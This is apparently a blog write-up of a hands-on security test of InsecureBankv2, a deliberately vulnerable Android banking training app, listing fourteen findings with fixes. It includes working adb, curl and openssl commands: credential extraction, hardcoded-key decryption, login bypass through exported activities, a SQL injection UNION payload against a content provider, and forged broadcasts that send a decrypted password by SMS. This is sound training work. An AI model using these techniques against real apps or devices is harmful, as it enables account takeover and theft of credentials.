October 28, 2026
Mobile Security Test Notes
Mobile App security testing

By Abdulmalik Adebayo
7 min read
InsecureBankv2: Mobile Security Test Notes
The target
InsecureBankv2 is a deliberately vulnerable Android banking app built for security training. It ships with a Flask backend server that was written in Python 2 in 2015. Getting it running on modern Kali required fixing print statements, mixed tabs and spaces, a dead import, and a deprecated SQLAlchemy option. That alone was a lesson: old security lab apps require maintenance, and debugging a ten-year-old codebase teaches me more about reading error messages than any tutorial does.
Environment: Rooted Android 11 emulator (Google APIs, x86_64), bare-metal Kali, AndroLabServer running on port 8888.
Method: OWASP MASTG approach. Static analysis (source code and manifest review) followed by dynamic analysis (adb, logcat, direct component launching, content provider queries), with each finding mapped to a MASVS category.
Finding 1: The password is written to the log
I logged in with the test account while watching the app's log:
bash
adb logcat -c
adb logcat --pid=$(adb shell pidof com.android.insecurebankv2)adb logcat -c
adb logcat --pid=$(adb shell pidof com.android.insecurebankv2)The app printed this line:
D Successful Login:: , account=jack:Jack@123$D Successful Login:: , account=jack:Jack@123$
The username and password were in plain text in the log. Anyone who can read the device's logs gets them. This also makes any later encryption pointless, because the real password is already sitting in the log.
Finding 2: "Encrypted" username that isn't
Every Android app has a private folder. On a rooted device you can read it:
bash
adb shell cat /data/data/com.android.insecurebankv2/shared_prefs/mySharedPreferences.xmladb shell cat /data/data/com.android.insecurebankv2/shared_prefs/mySharedPreferences.xml
The file had a field called EncryptedUsername with the value amFjaw==. One command reverses it:
bash
echo amFjaw== | base64 -d
jackecho amFjaw== | base64 -d
jackIt prints jack. Base64 is an encoding, not encryption. There's no key, so anyone who can read the file recovers the value.
Finding 3: The encrypted password, with the key in the code
The same file had a field called superSecurePassword: v/sJpihDCo2ckDmLW5Uwiw==. That one is real encryption, so I went looking for the key. The app's source has a CryptoClass.java file, and it contains this:
- Key:
This is the super secret key 123 - IV: sixteen zero bytes
- Mode: AES in CBC mode
The key is a string typed into the code, so anyone who decompiles the app can read it. With the key and IV, decrypting takes two commands:
bash
KEYHEX=$(echo -n 'This is the super secret key 123' | od -An -tx1 | tr -d ' \n')
echo 'v/sJpihDCo2ckDmLW5Uwiw==' | base64 -d | openssl enc -d -aes-256-cbc -K $KEYHEX -iv 00000000000000000000000000000000
Jack@123$KEYHEX=$(echo -n 'This is the super secret key 123' | od -An -tx1 | tr -d ' \n')
echo 'v/sJpihDCo2ckDmLW5Uwiw==' | base64 -d | openssl enc -d -aes-256-cbc -K $KEYHEX -iv 00000000000000000000000000000000
Jack@123$
It printed Jack@123$, the real password. Encrypting that password again with the same key and IV gives back exactly the stored value, which shows the constant IV makes the output predictable. It's also worth asking why the app stores the real password at all. A "remember me" feature should keep a revocable session token, not the password.
Finding 4: Root detection that doesn't detect root
After login, the app showed "Device not Rooted!!" on my emulator, even though adb shell id returned uid=0(root). The code explains why. The app only checks for one file (/system/app/Superuser.apk) and for a su program found by which su. Rooting with adb root leaves neither behind.
A check built from a couple of file lookups is easy to get around, by hooking the method with Frida or hiding su. Root detection can slow an attacker down, but it shouldn't be treated as a real protection.
Finding 5: Dev login endpoint accepts any username with no password (MASVS-AUTH, draft Medium)
- Where:
/devloginin the backendapp.py - Evidence:
curl -X POST -d "username=anything" http://127.0.0.1:8888/devloginreturned{"message": "Correct Credentials", "user": "anything"} - Impact: anyone who can reach the server can "log in" as any name on this endpoint. The real damage depends on whether anything trusts that reply, which I haven't checked yet.
- Fix: remove development endpoints from production builds, and require real credentials on every login path.
Finding 6: Backups allowed (MASVS-STORAGE, draft Medium)
- Where:
AndroidManifest.xmlline 25,android:allowBackup="true" - Impact: app data, including the stored credentials from F2 and F3, can be pulled with
adb backupon a device with USB debugging enabled, without root. - Fix: set
allowBackup="false", or exclude sensitive files from backups.
Finding 7 : Exported activity allows bypassing login (MASVS-AUTH / MASVS-PLATFORM, draft High)
- Where:
PostLoginactivity, exported inAndroidManifest.xml
adb shell am start -n com.android.insecurebankv2/.PostLoginopened the account screen directly, no login- From that screen, successfully submitted a Transfer, with no authentication at any point in the chain
- Impact: a complete authentication bypass leading to unauthorized financial transactions. Anyone with adb access to the device, or any other app capable of launching this activity, can move money without ever proving identity.
- Fix: every exported component handling sensitive functionality must independently verify an active, valid session before allowing any action. Relying on the assumption that a user already passed through the login screen is the root cause here.
F8: Hardcoded test credentials left in source (MASVS-STORAGE / MASVS-CODE, draft Medium)
- Where:
ChangePassword.java, in a comment block - Evidence:
/*
Delete below test accounts once the application goes into production phase.
nameValuePairs.add(new BasicNameValuePair("username", "jack"));
nameValuePairs.add(new BasicNameValuePair("password", "Jack@123$"));
*//*
Delete below test accounts once the application goes into production phase.
nameValuePairs.add(new BasicNameValuePair("username", "jack"));
nameValuePairs.add(new BasicNameValuePair("password", "Jack@123$"));
*/- Impact: the comment itself proves there was an intended cleanup step that never happened. Even commented out, this confirms the exact test account and password (
jack/Jack@123$) existed in source, which is the same account I've been testing with. In a real app, this is exactly the kind of leftover that gets missed between development and release, and it hands an attacker who reads the decompiled source a working login with zero effort. - Fix: never commit test credentials, even as comments. Use environment-based config or a separate test-only build flavor that never ships.
Findings 9: Password broadcast in plain text to any listening app (MASVS-PLATFORM/STORAGE, Critical)
ChangePassword.java sends the new password via an unprotected system broadcast (theBroadcast), which any app can register to receive.
Findings 10: New password also sent via SMS in plain text (MASVS-STORAGE, Critical)
MyBroadCastReceiver picks up that broadcast and sends an actual SMS with the new password in it, confirmed on the emulator.
Findings 11: Complete compromise of exported content provider
MASVS-PLATFORM / MASVS-CODE โ Critical
TrackUserContentProvider is exported with no permission check. Every method builds SQL from unsanitized input:
Cursor c = qb.query(db, projection, selection, selectionArgs, null, null, sortOrder);
count = db.delete(TABLE_NAME, selection, selectionArgs);
count = db.update(TABLE_NAME, values, selection, selectionArgs);Cursor c = qb.query(db, projection, selection, selectionArgs, null, null, sortOrder);
count = db.delete(TABLE_NAME, selection, selectionArgs);
count = db.update(TABLE_NAME, values, selection, selectionArgs);Confirmed in order:
Read, no login:
adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
# Row: 0 id=1, name=jackadb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
# Row: 0 id=1, name=jackSQL injection, full schema dump:
adb shell "content query --uri .../trackerusers --where '1=2) UNION SELECT 1,sql FROM sqlite_master--'"
# Row: 0 id=1, name=CREATE TABLE android_metadata (locale TEXT)
# Row: 1 id=1, name=CREATE TABLE names (...)adb shell "content query --uri .../trackerusers --where '1=2) UNION SELECT 1,sql FROM sqlite_master--'"
# Row: 0 id=1, name=CREATE TABLE android_metadata (locale TEXT)
# Row: 1 id=1, name=CREATE TABLE names (...)Insert:
adb shell content insert --uri .../trackerusers --bind name:s:testuseradb shell content insert --uri .../trackerusers --bind name:s:testuserUpdate:
adb shell "content update --uri .../trackerusers --bind name:s:hacked --where \"1=1\""adb shell "content update --uri .../trackerusers --bind name:s:hacked --where \"1=1\""Delete:
adb shell "content delete --uri .../trackerusers --where \"1=1\""
# No result found.adb shell "content delete --uri .../trackerusers --where \"1=1\""
# No result found.Complete CRUD control, zero authentication, zero permissions. The selectionArgs parameter that would have prevented all of this was accepted by every method and never used.
Findings 12: No HTTPS, outdated SDK
MASVS-NETWORK / MASVS-CODE โ Medium
All traffic is sent over plain HTTP, hardcoded in ChangePassword.java:
String protocol = "http://";String protocol = "http://";build.gradle shows targetSdkVersion 26 (Android 8.0, 2017) and minSdkVersion 15 (Android 4.0.3, 2011). The app misses security hardening introduced after API 26, including network security config defaults that would have blocked cleartext traffic automatically on modern Android.
Findings 13: Exported broadcast receiver allows arbitrary SMS exfiltration of decrypted credentials (MASVS-PLATFORM / MASVS-CRYPTO, Critical)
Where: MyBroadCastReceiver.java, onReceive()
Evidence:
adb shell am broadcast -a theBroadcast --es phonenumber "5551234567" --es newpass "Whatever123"
10-25 09:08:04.141 6732 6732 I System.out: For the changepassword - phonenumber: 5551234567 password is: Updated Password from: Jack@123$ to: Whatever123adb shell am broadcast -a theBroadcast --es phonenumber "5551234567" --es newpass "Whatever123"
10-25 09:08:04.141 6732 6732 I System.out: For the changepassword - phonenumber: 5551234567 password is: Updated Password from: Jack@123$ to: Whatever123This was triggered entirely from the terminal, no app interaction, no login, and with a phone number chosen by me, not the device's own number.
What this proves, specifically:
- The receiver decrypts the account's stored password (
Jack@123$, using the broken crypto from F3) on every trigger, not just at the moment of a real password change phonenumberis taken directly from the broadcast's extras with no validation- Because the receiver is exported, any app on the device, or anyone with adb access, can broadcast
theBroadcastwith any phone number and force the app to send that account's real, decrypted password to it
Impact: this isn't a leak anymore, it's a weaponizable primitive. An attacker's app, with no permissions beyond being installed, could silently trigger this broadcast and have the victim's real password texted to a number they control, with no action from the victim at all. Combined with F3 (hardcoded crypto key), this also means a stolen SharedPreferences file alone is enough to decrypt every password this mechanism would ever send.
Fix:
- Never send credentials via SMS, old or new, under any circumstance
- Validate that
phonenumbermatches the account's own registered number, never trust it from intent extras - Protect the receiver with a signature-level permission so only this app (or explicitly trusted ones) can send it this broadcast
- Set
exported="false"unless genuinely needed by another app
F14: Exported ViewStatement bypasses login, loads transaction history unauthenticated
MASVS-AUTH / MASVS-PLATFORM โ High
bash
adb shell am start -n com.android.insecurebankv2/.ViewStatement -e uname jackadb shell am start -n com.android.insecurebankv2/.ViewStatement -e uname jack
Loaded jack's transaction history in a WebView with no login.
What I took away
Doing it by hand taught me what scanners look for. I never opened a scanner for this. Reading the app's files and source meant that when I use MobSF later, I'll understand what its report is telling me.
Some of these flaws are visible in one line of code, and some aren't. The hardcoded key is easy for a scanner to flag. The constant IV is a subtler case, because the code looks normal until you compare outputs.
The python part has to be one of the most intresting in the lab